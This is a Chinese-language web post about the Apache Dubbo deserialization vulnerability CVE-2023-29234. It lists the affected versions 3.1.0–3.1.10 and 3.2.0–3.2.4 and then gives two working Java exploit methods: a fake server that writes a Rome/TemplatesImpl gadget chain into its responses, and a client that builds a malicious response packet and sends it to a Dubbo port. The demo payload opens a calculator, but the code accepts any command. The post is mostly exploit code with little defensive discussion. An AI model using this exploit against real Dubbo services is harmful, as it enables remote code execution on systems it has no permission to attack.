Apache Dubbo 反序列化漏洞(CVE-2023-29234)

Apache Dubbo 反序列化漏洞(CVE-2023-29234)

Apache Dubbo 是一款微服务开发框架,它提供了RPC通信与微服务治理两大关键能力。使应用可通过高性能的 RPC 实现服务的输出和输入功能,可以和 Spring 框架无缝集成。 Apache Dubbo 某些版本在解码恶意包时存在反序列化漏洞,远程攻击者可利用该漏洞执行任意代码。

影响版本

3.1.0<=Apache Dubbo<=3.1.10
3.2.0<=Apache Dubbo<=3.2.4

利用方式一:fake server

@Override
  protected void encodeResponseData(Channel channel, ObjectOutput out, Object data, String version) throws IOException {
      Result result = (Result) data;
      // currently, the version value in Response records the version of Request
      boolean attach = Version.isSupportResponseAttachment(version);
//         Throwable th = result.getException();  
        Object th = null; // 利用点: 用于 toString 的 gadget chain
        try {
              th = getThrowablePayload("open -a calculator");
          } catch (Exception e) {

          }

      if (th == null) {
          Object ret = result.getValue();
          if (ret == null) {
              out.writeByte(attach ? RESPONSE_NULL_VALUE_WITH_ATTACHMENTS : RESPONSE_NULL_VALUE);
          } else {
              out.writeByte(attach ? RESPONSE_VALUE_WITH_ATTACHMENTS : RESPONSE_VALUE);  
              out.writeObject(ret);  
          }
      } else {
          out.writeByte(attach ? RESPONSE_WITH_EXCEPTION_WITH_ATTACHMENTS : RESPONSE_WITH_EXCEPTION);
//           out.writeThrowable(th);
          out.writeObject(th);   // 直接序列化对象即可
      }

      if (attach) {
          // returns current version of Response to consumer side.
          result.getObjectAttachments().put(DUBBO_VERSION_KEY, Version.getProtocolVersion());
          out.writeAttachments(result.getObjectAttachments());
      }
  }

利用方式二:客户端打服务端

public static void main(String[] args) throws Exception {

      ByteArrayOutputStream boos = new ByteArrayOutputStream();
      ByteArrayOutputStream nativeJavaBoos = new ByteArrayOutputStream();
      Serialization serialization = new NativeJavaSerialization();
      NativeJavaObjectOutput out = new NativeJavaObjectOutput(nativeJavaBoos);

      // header.
      byte[] header = new byte[HEADER_LENGTH];
      // set magic number.
      Bytes.short2bytes(MAGIC, header);
      // set request and serialization flag.
      header[2] = serialization.getContentTypeId();

      header[3] = Response.OK;
      Bytes.long2bytes(1, header, 4);

      // result
      Object exp = getThrowablePayload("open -a calculator"); // Rome toString 利用链
      out.writeByte(RESPONSE_WITH_EXCEPTION);
      out.writeObject(exp);

      out.flushBuffer();

      Bytes.int2bytes(nativeJavaBoos.size(), header, 12);
      boos.write(header);
      boos.write(nativeJavaBoos.toByteArray());

      byte[] responseData = boos.toByteArray();

      Socket socket = new Socket("127.0.0.1", 20880);
      OutputStream outputStream = socket.getOutputStream();
      outputStream.write(responseData);
      outputStream.flush();
      outputStream.close();
  }

  protected static Object getThrowablePayload(String command) throws Exception {
      Object o = Gadgets.createTemplatesImpl(command);
      ObjectBean delegate = new ObjectBean(Templates.class, o);

      return delegate;
  }

image

漏洞来源

© 版权声明
THE END
喜欢就支持一下吧
点赞15 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容